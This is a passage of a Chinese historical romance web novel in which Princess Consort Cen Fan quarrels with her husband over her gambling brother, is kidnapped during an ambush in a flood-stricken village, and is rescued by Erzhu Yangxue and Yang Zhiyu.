他能想着再来看看她,岑璠心满意足,只是眉间有些担忧,“珝儿怎么就只带了一个人?” 珝儿讪讪一笑,“这儿离城门不远,不像阿姊你们要远行去晋阳,没事的…” 岑璠眼神温柔,似云与月,云月间是浓浓的不舍。 她道:“阿姊此去晋阳,不知道什么时候才能回来,你要用心读书,莫要再赌。” 珝儿却渐渐收起笑,撅嘴,“阿姊你又说这些,都说不赌了,我也不是小孩子了……” 岑璠最放心不下的就是这个弟弟,可设身处地想想,若换作十四岁的她,大概也不愿家里人把自己当小孩子看。 她收住话,“阿姊给你的那些银子你一定要保管好,切莫交给父亲,若有什么事,去信给阿姊便是。” 她唇还微张着,想还有什么要叮嘱,没注意到旁边已经站了人。 元衡侧目打量着面前的妻弟,他眉目英俊,眼中却透着难以接近的寒意,“说完了吗?” 岑璠转过头,珝儿跟着看去,踮起脚尖,神采飞扬,亮出一口白牙,“姐夫!” 元衡深深皱眉,眼光却回到珝儿的脸上。 他身材高大,看向十四岁的少年,像是上位者在睥睨。 珝儿未曾察觉,热络攀聊,“姐夫,我最近读书,读到一处甚是不解,可否请姐夫指点一二?” 元衡淡漠道:“本王不过赳赳武夫,不通文墨。” 只一句话,将有的没的都掐断了去。 岑璠淡淡用余光看他,倒也不反驳。 珝儿却觉得自己说了冒犯的话,嘴往里抿了抿,“是我思虑不周,姐夫见谅。” 元衡咬了咬牙,腮微收。 场面实在太冷,珝儿手脚发麻,抱拳行礼,又抬头瞄了眼岑璠,“阿姊保重,珝儿先走了。” 岑璠愣了愣,疾声又说了句,“记得常来书信。” 可那句话太轻太急,就那么轻飘飘地消失在了风中。 岑璠随他掠过的身影转头,目送着那道影子越来越短。 少年消失在路的尽头,她怅然若失。 身旁只剩了一人。 岑璠眼神一转,冷得似冬日的湖水。 她转过身去,却在下一刻,腕被人严严实实锢在掌中。 “你是在生气?”元衡这么问,却未等她回,“我听说你那弟弟,可是曾出入赌坊。” 岑璠道:“他就算出入赌坊,也是我弟弟。” 元衡脸色变得黑沉,“他在骗你,也无所谓?你以为一个赌徒, 能说不赌便不赌?” 连连的质问,让岑璠红了眼,她不愿他这么说他,“他才十四岁,是我的亲弟弟,他若再赌,我会陪他戒赌,可我绝不会不认他。” 元衡不信,手越握越紧,“你可知一个赌徒要如何戒赌,你给他银子,还能让他戒赌?” 车外皆是王府的人,听到这番争吵,眼睛不敢乱瞟。 晋王府是不怎么富裕,晋王这么问,不会是在乎王妃卖画的那点银钱吧…… 他们殿下花在王妃身上的银钱,也并非小数目。 岑璠却默住,恍然间想到自己的两个舅舅。 就算败光了手上所有的钱财,在同她讨到银子时,每每保证不去赌,可还是会去赌。 若是她的弟弟以后变成这样,她不敢想。 元衡手仍圈着她腕,见她冷静下来,将她拽到马车前,道:“上车。” 岑璠晃晃悠悠,自己上了车。 乳娘和槿儿不知二人又吵了什么,面面相觑。 须臾后,元衡去而复返,将乳娘和槿儿赶到辎车上,自己坐了进来。 岑璠望向窗外,一眼都没看他。 他端坐,道:“孤刚才派人回洛阳盯住他,若他再去赌场,便打断他一只手。” 岑璠回过头,眼中含有嗔色,她轻轻咬唇,唇瓣红润的像一块玉石,“你敢…” 她这般模样,却也是着实惹得人怜的。 元衡又退了一步,“他若再赌,孤派人把他抓回晋阳,你我一同处置,这样你可满意?” 他没等她回答,自顾自地继续说,“孤昨日说想同你好好过日子,并非虚言,孤不想每日都是争吵。” 听到此句,岑璠转过头去,“殿下说想好好过日子,可你有把我的弟弟当亲人?” 她嗤笑一声,“殿下的亲妹妹给我下药,可有想过,如有再犯,让我断一只手?” “还是殿下觉得,此事她并无错,不用道歉?” 自那日从佛堂离开,这件事他们二人从未谈及,现在却是被翻了出来。 同她对视的眼不经意移开了些,元衡抿了唇,许久方才道:“她儿时受了许多苦,性子偏激了些,说来是本王多年疏忽。” “孤已经告诫于她,若她再对你不敬,孤让她来给你谢罪。” 岑璠轻笑一声,似在嘲他。 是,他该被嘲,他确实做不到。 他吃过世间太多苦,每每想到自己在边镇隐姓埋名多年,他的妹妹只能在宫里孤苦伶仃一个人,无人在旁保护,连宫里的太监都能随意欺负她,他便心中生愧,恨不得把自己能给的都给她。 除了他的父亲,元斓是他在世间唯一的血亲,就算犯下再大的错,他也不能做到轻易断她一只手。 车内的两人不约而同都撇开头,目光微垂。 行入山时,岑璠靠在车上睡着了,元衡下车前,将车内的毡裘轻轻盖在她身上。 天彻底暗时,队伍还未出山,魏国皇室本出身游牧,此行之人又多为军士,有露营经验,便是辎车先行,在山间扎起幄帐。 岑璠自彭城而来,一路平原,驿馆众多,就算偶尔前不着村后不着店,也多是和槿儿她们睡车里。 睡帐子自是比睡车里舒服,更何况他们这帐子比其他人的大些,帐内还放有一盏博山炉用来驱虫。 可纵使是大帐,比起平日空间还是狭小了许多,岑璠在里侧背对他睡,中间空出一点间隙,鼻尖几近要贴到帐上。 黑夜里,元衡就这么盯着她的背,久久合不上眼。 倏然间,他发出一声冷问,“你我成婚不过四日,你到底是有多嫌弃本王?” 接连几日,岑璠晚上都不得早眠,今夜野宿好不容易落得清净,岑璠入梦很快。 可就他这一声抱怨,岑璠又被扰醒。 她睁开眼,却懒得搭理。 嫌不嫌弃,显而易见。 元衡道:“你是孤的结发妻,是晋阳王府的王妃。” 他大臂一用力一揽,便将她捞近了些,“孤知道你想报仇,就算你是要求孤帮你,也不该是这样求人的态度。” 那呼吸打在耳畔,却是那般强硬的语气,岑璠想反驳,却又记起之前的教训。 她无奈中有些许不耐烦,转过身去面对着他,问道:“那殿下觉得这样如何?”【你现在阅读的是 】 30-40 第31章 第三十一章他们都叫你皎皎,为什么孤…… 岑璠一转身,两人鼻尖便几近相触,彼此气息交融,暧昧缭绕,气氛变得陡然微妙起来。 黑夜中,只能看到夜光勾勒的轮廓,那张脸线条硬朗,却透露着几分危险的气息。 岑璠一时有些后悔自己转了过来。 果然,下一瞬熟悉的唇便贴了上来。 岑璠迅速推开了他,又转了回去,“这里是野外,您的亲信部下都在附近” 宽阔硬实的胸膛紧接着又贴上了她的背,她能清楚感受到背后的炽热滚烫。 他又要碰她,这是第四日,第五次,她一直数着。 这么下去,莫提是在床榻上补偿一二,她死在他的榻上都有可能。 岑璠闭着眼,纵使知道他会生气,甚至可能会勃然大怒,还是准备开口制止。 可他只是将她禁锢地紧了些,轻轻唤了声,“皎皎” 那声音极轻,像是在哄孩童,却着实让岑璠头皮一阵发麻。 她腿微微向里收,他便是立刻察觉了,“他们都叫你皎皎,为什么孤不能?” 不知是不是因为那几场梦,岑璠总以为他该是冷心冷情的才对,没想到竟会是这般痴缠。 她怕他再多说些她听不得的话,妥协道:“不过是乳名罢了,殿下若是想叫,叫便是了。” 元衡心里一阵荡漾,接连叫了三声皎皎,一声比一声更亲切。 他从未叫过人的乳名,也没有人给他起过乳名,小的时候,父皇母后关系和睦,倒是叫过他衡儿,可那段时光只有短短四年,以至于他现在都想不起父皇母后站在一起是什么样子。 他清晰记得的只有四岁那年,母后诞下皇妹后,父皇以母后冲撞冒犯为由,将他们母子锁在冷宫,而他的妹妹在刚出生不久便交由胡氏抚养。 被锁在冷宫里的八年里,母后疯疯癫癫,看他的眼神里只有恨,叫他也只会称一声“孽障”。 皇家无情,他过去的家被皇权拆得支离破碎,可现在他又有自己的家了。 他和她组成的家。 她曾经就差把自己的一颗心剖开给他看了,他会好好珍惜,不会让这个家再散掉。 软玉温香在怀,像一团火种,让人忍不住想靠近。 他在她鹅颈上蹭了蹭,又呢喃了声“皎皎”。 可还是没等来回应。 她躺得笔直,在他安静后不久,坐起身,趿鞋走向叠放好的衣裳。 再回来时,她往枕下塞了什么东西。 元衡顺着她的手背摸,摸到了一只香囊。 前几日他们的床帐上就悬有一只天青色的香囊。 他依稀记得,她前世没有挂香囊的习惯,不过也有可能是他记错了。 不过看样子,她很喜欢这只香囊。 她的手背被他的手掌整个覆住,没让他拿走香囊,却也没有制止他触碰。 元衡问道:“这是什么香?” 岑璠道:“不过是安眠的香料罢了,殿下这样,吵得我睡不着。” 他只轻笑,有商有量,“你若喜欢香,到晋阳后让人多调几种可好?” 岑璠未泄漏半点情绪,道:“多谢殿下好意,这香本就寻了许久,甚合心意,有它就够了,不必再换。” 这便是她了吧,认定了一样东西,便是不会轻易去换。 就像上一世,他冷落她,可她还是认定了他,对他死心塌地。 这一世她还未寻到她认定的人,那么他就还有机会。 他不允许任何人抢走。 怀中温暖犹在,他与她十指紧扣,夏虫萤萤,相拥入眠。 * 穿过邙山,过大河,至孟村,恰逢端午,护送辎车的一支军队继续前行,其余人在村子里停留半日。 繁华的洛阳在粉饰太平,可依傍大河的村子无士族庇护,将民生凋敝描绘得淋漓尽致。 城门守卫松懈,一行人亮了身份进村。 不似彭城和洛阳,这里村里的人少得实在可怜,连问的十家人都瘦骨嶙峋,无一家有糯米,就连村长家都没有。 老村长闻皇亲贵胄来此,在家中亲自招待贵人。 村长的院子不大,年久未翻修,门口的灯笼上有几个不大不小的窟窿。 院内有一半大孩童,头顶一绺头发扎成小揪,正坐在歪七扭八的胡椅上,双手捧着粽子,吃的满嘴都是,小孩手上系着几条彩带,那是近年从南边传来的习俗,名曰辟兵缯,端午系上能避兵灾祸乱。 刚才问时,这村长说村里没有糯米,侍卫赵巍只觉是在戏弄他们,横眉一竖,大步向孩童走去。 可走到跟前才发现,那孩童吃的不是糯米,那粽子里是糟糠和粟米,只不过是用面团揉在一起,像是糯米罢了。 赵巍一愣。 孩童懵懂看了他一眼,舔了舔嘴角黏糊糊的米粒,把每根手指嗦了一遍。 元衡就在不远处看着,眉微皱。 出身名士之家的赵巍,看了只觉得恶心,连紫芯和墨群都挤了挤眼。 岑璠却知道,那孩子是真的饿了。 父亲还没走时,南边还是齐国,那时南北于彭城交战后,岑家施粥救济,她第一次见到饿急了的人,恨不得将碗都吞下去的样子。 后来更是见过很多次。 村长走上前道:“贵人见谅,这孩子是贪吃了些。” 堂内无一人说话,尴尬之余,多是嫌弃。 岑璠让乳娘将随身带的梨膏糖拿了出来,打开糖盒。 小孩正到了换牙的年纪,看到糖,露出一口豁牙,说话漏风,“谢谢阿姊。” 说罢,自己抓了一颗糖去。 岑璠半蹲,将糖盒放到他手上,那嗓音温柔,至少是元衡不曾听过的。 “你喜欢吃,那就都拿去吧。” 小孩说话并不利索,“真的可以吗?” “可以。”岑璠道。 村长恭敬地笑了笑,轻轻抚了抚小孩的脑袋,“还不谢过王妃?” 小孩应该还不知道什么是王妃,一眨眼,跳下胡椅小手一拱,“多谢王妃。” 元衡眼睛注视在她身上,未说是否。 不一会儿,一老媪从房后走出来,端了盘花生,一盘油饼还有风干的羊肉干。 村长将屋里的一张旧桌案搬了出来,和院中的一张拼在一起。 几人围坐,赵巍扫了一眼桌上,嘴角一撇,“莫不是打发要饭的……” 岑璠掀眼,声音全然没了刚才的和善,“赵侍卫可能不知,这羊肉是大多数人家过年才能吃到的东西。” 槿儿也跟着喃了句,“是啊,赵侍卫怕不是没过过苦日子,能有肉就已经不错了……” 赵巍不服,想反驳,却被一旁的墨群按住手。 元衡余光扫一眼,淡淡道:“你若觉得不够,去把咱们的酒食拿来些便是。” 赵巍领会了他的意思,也知道惹了他不快,行礼离席。 席间,老村长讲起了孩童的身世。 那孩童是村长的孙子,可却成了孤儿。 孩子的父母,和许多人一样,是因为水灾去的。 岑璠问道:“孟村水灾既如此,县里为何不派人治理?” 老村长摆了摆手,“这些年忙着打仗呢,这大河改道,想要治可不是件简单事,老朽的祖上过去也在大河边,上一次治水已经是老朽爷爷的爷爷时候的事了,那个时候有一位太后,可厉害了。” 村长忽然想到什么,又笑了笑,“倒不是说咱们这朝不好,咱们前头那位太后,也是个厉害的人,只是这如今南和北分开了,到处都在打仗,灾祸不断,实在是难呀。” 当今皇帝三岁登基,二十岁太后薨时才开始亲政,而老者说的祖上的那位治水救灾的太后,岑璠也知道一些,那都是好几朝之前的人了…… 近百年战乱不休,确实是难。 岑璠微微叹了口气。 席面安静,桌上的菜也没人动几口。 老村长没说什么,待赵巍拿来酒,端起酒高高兴兴敬了几人一碗。 从村子里出来,一行人继续赶路。 车里还有糕点,乳娘帕子捏了递一块儿给她,“刚才那饼的确不好吃,我看姑娘也没怎么吃,不如再吃些吧。” 岑璠道不用,正要把糕点给槿儿。 还未出村子,车外的马忽然嘶鸣一声,车内一阵震晃。 岑璠大惊,手扶住马车,不过幸好,那马似只是受了惊吓,并未像上次人马仰翻。 外面有人大喊,“往哪跑!” 随即车帘被掀开,元衡看了看她,让她躲在车上,哪里都不要去。 可烧焦味陡然传入鼻中,远处火光冲天。 房顶上忽然出现了几个人,黑衣翻飞,有的人手持弓箭。 侍卫立刻围了上来,几只箭嗖嗖而来,都是朝着他们的方向来的。 侍卫嘴上喊着“保护殿下”,可她觉得离她最近的晋王却是身手最好的一个,不禁能躲箭,还能拦下差点射进车窗的一只。 留在他们身边的人也多是身形敏捷,有几人已经踏上房顶,那些黑衣人并不恋战,沿房顶向火光处逃去。 那些黑衣人个个轻功了得,绝非寻常之辈,跑的也极快。 村内房屋多由茅草搭成,火光未歇,甚至有蔓延之势。 岑璠自马车上下来,只见元衡向火光的方向,眼睛微眯。 赵巍问:“殿下可是要亲自往那边去?” “依属下看,那些人来路不明,不如属下先跟上去查探一番!” 元衡没太多时间思考,那些人目的不明,她还在这里,他确实不该贸然前去。 他刚准备下令,却是听到脚步声。 周围的侍卫也向声音的来处望去,只见那老村长三步两步跑来,因着年迈,那步子甚是迟缓。 老村长看了看周围,又眺望向远方,道:“老朽听说街上乱了,都怪老朽疏忽,惹上了贼人,给贵人们添麻烦了,贵人若不嫌弃,不如还是去老朽的院子里暂避吧,老朽叫村子里的人救火去。” 元衡皱眉,“贼人?” 赵巍横刀一竖,“你从实招来!什么贼人!” 老村长摆了摆手,“就是昨日,也是个贵公子,和殿下一般高,穿了身白衣裳。” “那公子带的人不算少,说什么要找人,昨天找不到,一怒之下就说要烧村子,老朽本以为是句玩笑话,谁知刚才老朽的邻居李小六说,那人去了祠堂。” 赵巍刀向前,呵道:“为何不早说!” “老朽哪能想到,他竟是真的要烧祠堂啊……” 赵巍收回刀,“殿下,此贼猖狂至极,胆敢行刺,属下这就前去把他们捉回来!” 元衡道:“那些人你对付不了。” 他看向前方,“他们背后是萧晗。” 赵巍瞪大眼,“萧、萧晗?” 他跟随晋王打仗,自是知道那萧晗,上次彭城交战,对面领兵的便是此人。 梁国开国皇帝登基三载,最得意的便属这第六子,虽不是太子,却比那梁太子还要意气风发许多。 此人善战,在战场上也着实难缠,比柔然还难对付,上一回梁国退兵,可到底也没吃多少亏。 如今竟是敢直入他晋地,简直猖狂! 元衡盯着远处,火光映在眼中,渐渐肃杀,似锋刃亮出的刀光,刃上嗜血。 上辈子他和萧晗战场相见,毁了此人张脸,就算最后自己将死,也顺便将此人带到了地下。 不过手下败将,本不值一提,可这厮手上曾沾过她血,便是该死。 赵巍道:“殿下可是要去追?” 元衡道:“现在追定是来不及 ,不过本王倒是想知道,他想如何在本王的地盘逃走。” 他下令,一人放出信号,一队人便自队中出来,街角几个蒙面的暗卫现身,相互对了眼神,便向四面八方散开。 岑璠不知道这些如何暗做,可那些人井井有条,散开的方向似都有商量,倒真像是要让那萧晗插翅难飞。 他们身边还有些人,其余的兵分三路,一队人随他去黑衣人逃走的方向,一小队人在村里村外巡视。 至于剩下大部分人,是来保护她的。 老村长笑道:“这街上也不安稳,殿下不如让王妃回老朽的院子暂避。” 元衡看了看村长,最后一道命令,是给她身边的墨群,“护好她,出任何闪失,本王拿你是问。” 从虞府跟她一路而来的护卫恭敬地答了声“是”。 这些话交代的简单利索,他也并未拖泥带水,带着一批人离去。 村子一时安静下来,仿佛这里刚才什么都没发生过。 老村长正要带路,岑璠却转身。 墨群恭敬道:“王妃有何吩咐。” 和她一道进王府的人,几乎都还是叫她姑娘,连紫芯都是如此。 岑璠看他,“墨群,你在跟着我之前,可有在别的地方做过事?” 墨群抬头看她一眼,而后迅速低下头,道:“不曾有。” 他也没问她为何这么问,只一直低着头,尽着护卫的本分,她问什么便答什么,就像是府里的大多数人一样。 但他应该不是王府的人,那日乳娘不过是去大市随意挑了几个身手好些的侍卫,那时她刚回岑家,和晋王几乎没有任何交集,他不可能大费周章在她身边安插自己的人…… 岑璠想了想,道:“是不是他这几天对你说过什么?” 墨群抬头,嘴微张,眼神似有躲闪,“不曾……” 岑璠道:“你这身功夫是极好的,很多人都比不上。” 墨群解释道:“过去曾当过江湖客,后来梁国来攻,仇家趁机报复,一时没了栖身之所而已。” 岑璠其实并不是想知道他的来历,“我的意思是,你是我的护卫,他若对你说了什么都不作数的,你武功好,做事也尽心,我已经很满意了,有些事无法预料,你不必像他说的那样苛责自己。” 墨群似是愣了一瞬,后退一步拱手,“墨群记得了。” 岑璠一笑,眼睛如弯月,月光温柔。 她扫了眼周围的人,望向远处起大火的位置,轻叹了口气,随老村长往回走。 快到时,老村长却是停住脚步,转头看了看来时的方向。 岑璠问:“老人家怎么了?” 老人回头,语中有歉意,“王妃不知,那烧的是村里的祠堂,老朽还是想过去看看啊…” 岑璠能理解老者的心情,未对其阻拦,想指派其中一个侍卫一同前去。 村长却道:“王妃身份贵重,还是多些人在身边的好。” 那侍卫显然也不愿意去,殿下给他们的命令只有护好王妃,王妃的安危才该是放在首位的。 老者并未等待她回答,摆了摆手,只身往回走,“老身一个人去就够了。” 老者的院子就在不远处,一行人未多逗留,向院子而去。 可那孩童不在院子里,敲门也无人应。 院内的一捆竹有枯萎之兆,茅草垛堆在院中,不知是哪处沙沙作响。 墨群察觉到什么,停下了敲门的动作,沉声道:“王妃先出院子吧。” 岑璠也意识到不对,她眼睛向周围瞟了瞟,轻轻点头。 只是下一瞬,木门被一股强劲的力道自内而外掀开,木屑四散。 乳娘栽倒在地,槿儿和紫芯往后踉跄了好几步, 若不是墨群扶住她,她也一定会被那股力道冲撞。 一把锃亮的刀迎面而来,直朝墨群面门横劈下去,墨群只手抵挡,刀刃相撞,发出铮铮刀鸣。 草垛中躲藏的人冲出,周围所有人反应过来,加入混战。 刚才遭遇突袭,墨群招式乱了一瞬,现下恢复冷静,出手利落狠决,和三个刺客缠斗,还能护住她和槿儿她们。 周围太过混乱,岑璠不敢乱跑,看了看状况,还是觉得站在墨群身后最安全。 两边打得不可开交,他们这边人不算少,甚至还略占上风。 他刚才派去巡视的一队,想必很快也能找过来。 岑璠这么想,眼瞧着墨群臂一转,别开两把刀,刀剑划了两个刺客的手腕,剩下一个被踹倒在地,内心保持镇定。 三个刺客发出不同的哀嚎,墨群刀尖向前,正打算抹了三个人的脖子,却见一柄长枪朝自己而来。 不同于那些刺客,拿枪的人身穿月白长袍,来势比那些杀手快很多。 墨群躲开,可一想到岑璠在身后,咬了咬牙,一手握住了那杆长枪,青筋暴起。 这招却是将弱点都暴露在人前,那人一抡枪,枪杆重重拍在他的肋骨上。 墨群倒退好几步,刀在地上划出一条深痕,到了岑璠身旁才稳住身形。 槿儿捂住了嘴,岑璠也一时惊诧,抬头只见其他人都抽出神围了上来,合力对抗。 可那人形如鬼魅,长枪扫过,倒了一片。 那人越来越近,岑璠便是看清了面容,那是个年轻男子,满身贵气,眉眼微微上挑,脸上的笑放荡不羁。,即使在对战,也是一副云淡风轻的样子。 岑璠有种预感,她提起裙摆,转身就要向门外跑去。 只是下一刻,脖颈被手刀劈中,陡然失去了意识。 * 另一边,大火仍在持续,赵巍想想竟觉得可怕。 那些黑衣人是批死侍,而那烧着的地方竟是藏了好几袋面粉,若不是殿下反应过来,几箭射死那些死侍,那一袋袋面粉洒在空中,他们这些人怕是都要在热浪里。 元衡握着手里的弓,眉仍旧锁着。 赵巍看了看大火,道:“属下叫人去灭火。” 元衡颔首,正要离开,却见那老村长推来一辆车。 那车上放有砂土,老村长抬头看了看大火,“贵人,老朽刚才搬来了些沙土,您看看能不能灭火呀…” 赵巍嫌他添乱,“这么些土哪里够……” 他这么说,可还是接手了那推车,推到祠堂门口,指了几个人往房上铺。 老村长也在帮忙,赵巍转过身去指挥其他人,却在此时,感觉到什么从肩旁擦过。 远处,他的王上手还握着弓箭,眼中无波无澜看向他身后。 赵巍转头,瞪大了眼睛。 他身后的老村长腕上中了一箭,而他手上的麻袋,装的不是沙土,而是面粉。 那袋面粉掉在地上,老村长眼睛瞪大,嘴动了动,而后歇斯底里地嘶吼,那声音仿佛地狱中的亡魂在叫嚣,“狗娘养的皇帝世家!杀俺全家,夺俺的地,还敢嫌俺家的米不好吃!” “我呸!” 那最后一声“呸”喷出的是黑血沫子,差点溅到赵巍脸上。 赵巍怔在了原地,仿若呆傻,直到老村长扑通倒地,还未回过神。 元衡也有一瞬间的震撼,震撼于白发老人眼中爆发出的恨意,更震撼于那飞蛾扑火的勇气。 可也就是一瞬,下一刻,元衡立马反应过来什么。 他丢下弓箭,向来时路奔去。 第32章 第三十二章想要挣脱牢笼 岑璠醒来时,背正靠在一块儿石头旁。 有人离她很近,手指点上了她的脸颊。 岑璠猝然睁眼,躲开了。 刚才见到的白衣男子笑了笑,“没想到,元衡的妻室还是个美人。” 岑璠出了一身冷汗,试探性问道:“你是萧晗,对吗?” “是啊。”萧晗打开袖中的袖箭,往上面淬了毒,“怎么?他同你提起过我长什么样?” 岑璠猜到,确实是因为刚才听元衡提到萧晗这个名字,可她之前便听说过此人。 此人乃是舒妃之子,那舒妃原是齐国的皇妃,和现在的谋朝篡位的这位皇帝私通生下的萧晗。 如今这几朝,这种事算是见怪不怪,可此人 风流成性,连自己的亲妹妹都觊觎,却是实在不常见。 “没说过。”岑璠盯着他,道:“但听说过,越王白衣潇洒,百闻不如一见。” 萧晗显然心情极好,低声笑了笑,“那是自然。” “也不知道王妃芳龄几何?” 岑璠自是不会告诉他,胡诌一句,“二十又五。” 萧晗狭长的眼睛斜向她,显然不信,“我观王妃,倒像是十六七的年纪,莫不是想蒙骗本王?” 岑璠不说话,撇过头去。 谁知那人却转而问,“你很爱慕晋王?” 岑璠不知道他从哪里看出来的…… “王妃这个年纪,配他真是可惜。”他站起身,两臂展开,“我看你我年岁相仿,本王比他也不差,不如考虑考虑本王。” 岑璠听完这席话,第一反应居然是觉得他太过狂悖。 不论她喜不喜欢都必须得承认,晋王的相貌和身材都是极好,宽肩窄腰,起码要比面前的这个腰要细很多。 她的父亲便是靠一副好相貌混出的名堂,她对皮囊没兴趣,对这样的更没兴趣。 岑璠淡淡撇开眼。 萧晗蹲下,“觉得我说的不对,那晋王是长得美,可男人美有什么用?他已过弱冠,用不了几年便会年老色衰,不像本王,正是雄姿英发之时。” 见她不为所动,萧晗手指又靠近,轻轻在她脸上抚了一下,音调愈发轻浮,“那晋王年过二十才娶了你,又长了副女人一样的皮囊,怕是没办法满足你这样的小妖精,你不如跟了本王,本王让你日日如仙……” 那话音越来越急,岑璠听了,却没多少畏惧。 与其说不畏惧,不如说是恶心盖过一切。 那一声“妖精”,比那日晋王抱着她叫她“皎皎”要恶心得太多。 她简直要吐了…… 岑璠躲开他的手,再无法装得客气,语气刻薄,“越王这么说,该不会是打不过晋王,被追杀至此,狗急跳墙。” 萧晗停住话语,脸上浪荡的笑收起些,却越弯越像镰刀,锐利而幽冷,“那疯狗确实咬得紧,本王也不知道他哪儿来的那么多暗卫,本王分散那么多人都不够他追。” “不过你放心,本王死不了,也耽误不了王妃与小王快活一场。” 他扑过来,岑璠抵住他,“你可知我父亲是谁!你可有听说过虞家!” 萧晗饶有兴趣,“魏国四姓有崔卢郑王四家,再有便是兴起的李杨两家,虞家本王还真没听说过。” 岑璠道:“没听过就对了。” 萧晗愣了愣。 岑璠见缝插针道:“实不相瞒,我父亲不过是佃户出身的六品官,我也不是虞夫人所生,这婚事是我下药所得,晋王他厌恶我,却怕被人抓住把柄,才答应娶我。” 萧晗道:“这么说,是你喜欢晋王,自甘堕落扑上去?” 岑璠道:“是,我很爱慕他,不过殿下对我厌恶至极,我想越王大费周章,找到老村长抓我,定不只是为了欢好一场,肯定有事要找晋王才对,不过晋王不喜欢我,恨不得赶紧摆脱我,所以越王殿下的算盘恐怕是要打空了。” 萧晗轻轻挑眉一笑,“是吗?” 岑璠道:“越王殿下可以尽管试试,看他到时候第一箭先杀的是我还是你。” 萧晗笑意隐隐,靠在石头上,一手搭在膝上,“你可以走了。” 岑璠似有些意外,缓缓站起身,见他并未有意阻拦,提起长长的裙摆,迈开几步。 谁知刚走没多久,就忽然被背后的人抱住,“你还真当本王是傻的不成?晋王不喜欢你,不喜欢你,娶你来做王妃?给你带这么好的首饰,穿这么好的衣裳?” 岑璠用指甲抓他,可这人显然不似她之前杀掉的柳家人,对女子有些手段,顺着巧劲轻松握住她的手腕,“本王这辈子最喜欢的就是花容月貌的夫人,这六品官妾室的女儿还真没碰过。” 岑璠眼前一黑,心道他是疯子。 一个比一个疯! 她身上冒了冷汗,嘴上却说,“殿下不是还有事要和晋王谈?在这儿动我,还有的谈吗?” 谁知那越王笑得狰狞,“本王刚才骗你的,我早就改主意了,占了他的夫人,再杀了他,可比我找人要有意思太多了!本王要他死,要他看着你成为本王的女人,其他的都不重要!不然你以为本王为何要带着你一个女人跑这么远!” 想来这萧晗是走投无路,真的疯了…… 岑璠想不出他有什么后招,但显然,她现在最该担心的不是这个。 此人本是带着目的掳她,可现在竟是宁可死,也要用她来羞辱晋王。 她也许可以故计重施,可此人武功了得,想必反应机敏,她自己杀不了。 正要抬手,不远处却是传来一声不大不小的尖叫。 她抬头,看见了一个女子。 那女子背着竹篓,篓里装有竹,手里还拿着一把弯刀,像是哪家农户上山来砍柴的。 看到两人纠缠在一起,女子捂住了嘴,花容失色。 那张脸上有些脏,可岑璠依稀觉得有些熟悉。 女子眼睛水汪汪的,若是细看,底子也是个漂亮姑娘。 那越王笑了笑,“两个也好,两个好!” 说罢,他单手拽着岑璠,向那女子走去。 女子双手握住镰刀,直向后退,“你别过来…” 那眼底兜起泪,声音细软,岑璠却在她放下捂脸的手一刹那,认出了她。 是尔朱家的那个女儿,那日送她笛子的人! 岑璠不知道她为何会找到这里,或许是来救她,她不该表现出认识她。 她任由越王拽着她靠近,静静看着朱阳雪挥舞刀,在空中乱砍了几下。 萧晗轻蔑地笑了笑,扭住尔朱阳雪的手腕往回扳,那柄刀架到了她的脖子上。 “乖,不想死就放刀。” 岑璠背上又是一阵恶寒。 尔朱氏不像别的世家,身处中原腹地,乃边镇之地的贵族,岑璠本以为这位会武的姑娘要趁其不备攻之,谁知她竟真的放下了刀。 萧晗满意,抬手用指擦了擦她的脸。 下一刻,一支暗箭迎面而来。 萧晗向一旁躲闪,随后几乎立刻反应过来什么,要去抓岑璠。 那农户女却忽然发招,向他袭来。 尔朱阳雪非世间高手,可慌乱之下的奇袭倒也足够。 萧晗抽出剑,又一箭擦过。 萧晗深知这么下去不是办法,忽然发了狠地向尔朱阳雪攻去。 尔朱阳雪所用的只有一把匕首,那攻来之势太快,来不及躲闪。 忽然一把长枪横空而来。 萧晗躲闪,眼见再无机会,看向岑璠,眼中带有杀意。 他抬头看了看,踏竹而去。 临走时,一支毒箭直朝岑璠射去。 那暗箭被挡开了。 是尔朱阳雪的那把匕首。 匕首插在土里,而那把长枪的主人也踏步而来。 杨知聿站定,先看向尔朱阳雪,似欲说什么,而后抿了唇,转过身,低头看摔在地上的她。 他向她伸出了手。 岑璠却并未扶他。 萧晗那一剑,虽是没能刺到要害之处,却划破了尔朱阳雪的手臂。 她侧臂看伤口,轻轻吹了吹,似是不经意抬眼看了看两人。 岑璠站起身,向杨知聿端正行了一礼,“多谢将军出手。” 还不待杨知聿说什么,岑璠已经越过他,朝尔朱阳雪而去。 她手抬起,比刚才行的礼更低了些,“多谢姑娘救命之恩。” 尔朱阳雪还盯在自己的臂上,语气淡淡道:“王妃不必谢。” 岑璠看了看她的伤口,” 姑娘受伤了?那剑上可有毒?可感觉哪里不舒服?” 尔朱阳雪抬眼看她,一双杏眸中似带着好奇,水盈盈的。 她放下臂,弯起嘴角,安静一笑。 岑璠总觉得,这和她上次见到的那个张扬热情的尔朱阳雪大相径庭。 对她客气中带了些冷漠。 那姑娘似不打算再搭理她,迈开轻巧的步子,去捡远处那把匕首。 匕首入鞘,尔朱阳雪便要离去。 她走出一段距离,才看向两人,“你们不走吗?” 岑璠总觉得哪里不对,可也想不出哪里不对。 她跟上尔朱阳雪,看着她双手背后,脚步轻巧。 三个人安静地走了一段,便与一队人马会合,不少人蒙着面,想来是刚才萧晗所提的暗卫。 尔朱阳雪上马,指向另一匹,“王妃便骑那匹马吧。” “我不会骑马。”岑璠道。 她过去很少出门,母亲只教她画画,没人教她骑马。 尔朱阳雪愣了愣,忽地听见一句,“你带她骑吧。” 杨知聿向岑璠又解释一遍,“此地荒野,王妃不如和尔朱姑娘共乘一骑,先下山。” 尔朱阳雪看着两人,有些安静。 杨知聿道:“劳烦尔朱姑娘了。” 尔朱阳雪回过神,眼睛动了动,应了一声,跳下马去。 还是那副平淡的笑容。 “王妃请。” 岑璠拽着缰绳,想踩蹬上马。 可她身上的荷叶边大袖襦裙繁复,并不好上马。 那是元衡昨日在驿馆晨起特地叫人拿到她床边的衣裳。 她嫁之后,似乎连自己的衣裳都没有挑过,都是他挑选后叫人拿来。 他喜欢让她穿白色,喜欢让她穿繁复的衣裙,往她身上堆砌金银珠宝,像是笼中娇养的雀,需要有最艳美的羽毛。 岑璠咬牙,紧抓住缰绳,较着一股劲要自己往上蹬,踩到那长长的裙摆,像是那雀要挣脱牢笼,扑腾掉几根羽毛。 在旁人看来,这般上马却是危险。 杨知聿不知她为何不叫人帮忙,非要和自己过不去。 他伸出臂,就要扶她。 尔朱阳雪却挡在了他前面,她拖住岑璠的腰,将她抱上马。 将她抱上去后,尔朱阳雪也利落上马。 杨知聿带着那批人,一路护送。 